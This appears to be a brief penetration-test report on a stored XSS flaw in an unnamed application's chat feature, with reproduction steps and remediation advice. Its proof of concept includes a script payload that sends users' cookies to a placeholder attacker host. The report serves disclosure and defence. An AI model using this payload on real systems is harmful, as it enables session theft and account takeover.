Penetration Testing Writeup: XSS in Chat Feature

Executive Summary

A Stored Cross-Site Scripting (XSS) vulnerability was identified in [Target Application]’s chat feature during a penetration test. This flaw allows attackers to inject scripts into chat messages, affecting all users in the chat. This report provides details and remediation steps.

Vulnerability Details

Description

Chat messages are not sanitized before being stored and displayed, allowing attackers to inject scripts that execute for all users in the chat room.

Impact

Proof of Concept

  1. Send a chat message: <script>alert('Stored XSS');</script>.
  2. Observe the alert in the chat room.
  3. Malicious payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>.

Steps to Reproduce

  1. Join a chat room at https://[target-application]/chat/[room-id].
  2. Send <script>alert('Stored XSS');</script> as a message.
  3. Confirm the alert appears for all users.

Remediation Recommendations

  1. Input Sanitization:
    • Use OWASP AntiSamy for chat inputs.
  2. Output Encoding:
    • Encode messages before rendering.
  3. Content Security Policy:
    • Apply CSP: Content-Security-Policy: script-src 'self';.
  4. Secure Development:
    • Train developers on XSS prevention.
  5. Regular Testing:
    • Conduct security audits.

Conclusion

The Stored XSS vulnerability in [Target Application]’s chat feature is critical and requires immediate action.

References

Chat XSS Alert